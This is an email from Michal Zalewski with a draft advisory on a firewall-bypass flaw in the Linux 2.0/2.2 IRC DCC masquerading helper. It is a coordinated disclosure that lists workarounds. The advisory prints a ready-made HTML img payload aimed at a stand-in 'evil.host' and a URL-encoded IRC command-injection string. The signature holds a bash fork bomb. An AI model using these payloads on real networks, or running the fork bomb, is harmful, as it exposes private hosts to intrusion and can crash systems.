Hi folks,
[ sorry for multiple recipients, just wanted to reach anybody ]
[ doing Linux networking stuff as soon as possible... ]
It seems to me there's a vulnerability in Linux 2.2 (2.0 as well, I
presume) IP masquerading IRC DCC helper, which does not check for
acceptable port ranges or IPs when examining DCC command packet. Other
helpers do (e.g. ip_masq_ftp), which raises the bar for potential attacks
a little bit. Short reminder why it is Bad Thing, plus an advisory draft
addressing this issue (yes, I actually do it for living ;) is attached
below.
I'd appreciate your acknowledgement of this problem, and information on
eventual fixes or, khem, what we consider, "vendor response statement"
(basically, it is good to go for it if you disagree with some points).
This is only a draft, and it isn't public for now, so no need to hurry and
release it tonight, if confirmed :) I'd feel better if you can ping me
before, just to have the advisory ready to go and in shape.
Thanks in advance,
--
_____________________________________________________
Michal Zalewski [lcamtuf@xxxxxxxxxxxxxxxx] [security]
[http://lcamtuf.coredump.cx] <=-=> bash$ :(){ :|:&};:
=-=> Did you know that clones never use mirrors? <=-=
Title:
Linux kernel IP masquerading vulnerability
Author:
Michal Zalewski <lcamtuf@xxxxxxxxxxxxxxxxxx>
Date:
July 23, 2001
Affected platforms:
Linux 2.0, Linux 2.2, possibly other systems
Brief description:
Remotely exploitable IP masquerading vulnerability in Linux kernel
can be used to penetrate protected private network.
Details:
Last year, there was a discussion on exploiting NAT packet inspection
mechanisms on Linux and other operating systems in order to open an
inbound TCP port on the firewall, by forcing client HTTP client or
MUA software to send specific data pattern without user's knowledge
and will (see http://www.securityfocus.com/archive/82/50226). The original
advisory by Mikael Olsson discussed FTP masquerading helper vulnerability.
This specific pattern sent by client software, when found in outbound
traffic, is interpreted by the firewall as legitimate, user-initiated
transfer request, and certain external machine is temporarily allowed to
initiate inbound connections to the location specified in malicious packet
by using the firewall as packet forwarder.
Appropriate (but not necessarily sufficient - see later explainations)
workarounds were incorporated in Linux kernels released later and are
present in numerous firewall operating systems.
Unfortunately, protocols other than mentioned in original discussions
seem to be vulnerable, as well. We found that IRC DCC helper (the
Linux 2.2 ip_masq_irc module, and modules shipped with some other
operating systems / firewalling software) can be exploited with
<img src="ftp://evil.host:6667/%01DCC%20SEND%20file%20addr%20port";>
or similar pattern, depending on helper implementation details
("addr" is the internal machine's IP address as a decimal integer).
There is no port or IP matching.
This sequence can be crafted in HTML e-mail or on visited webpage.
The attacker should listen on remote host on port 6667, and
generate valid FTP protocol responses. Then, he will receive
information about port number on the firewall that will be forwarded
into protected network. See discussion in original advisory for
more details on this attack.
Workarounds:
This new NAT server vulnerability related to DCC simply adds to the
collection of similar vulnerabilities in other protocols, none of
which have been fixed in a comprehensive way. In general, the
following five types of workarounds might be used:
1) Have the NAT server allow only a certain range of ports in processed
requests. This workaround (only ports above 1024 are allowed) is currently
implemented by Linux and other vendors. Unfortunately, this does not stop
attacks or scans against thousands of high-port services - most popular of
them are msrdp, iad1-3, lotusnotes, jetdirect, afs3-bos, ms-sql-s, venus-se,
instl_bootc, nfa, sun-answerbook, "undocumented" rpc on Solaris, xaudio,
nfs, lockd, X11, dtspc, font-service, callbook and many others - database
engines, management subsystems, etc.
2) Have the firewall do more careful inspection of protocol traffic.
This could identify and block noncompliant IRC client behavior, such as
the behavior of an HTML e-mail client when accessing an ftp URL.
Unfortunately, this requires very careful protocol tracking, and can be
fooled by careful URL construction (e.g. passing the following string
as ftp server username: "evilhacker%20+iw%20evilhacker%20evilhacker%0d"
"%0anick%20hacker") and response fragmentation, or using a Java applet.
3) Use a personal firewall (e.g., ZoneAlarm) on the internal machine
that asks the user before connecting to an unusual port (6667) or before
accepting suspected forwarded connection. Suitable personal firewalls may
not be available for every OS.
4) Research, design, and develop some way for the NAT server to ask the
internal user whether he really requested an inbound port (e.g.
one-time challenge-response authentication).
5) Don't have any helper modules on your NAT server. For any protocol
that needs a helper, require users to deploy a tunnel instead.
|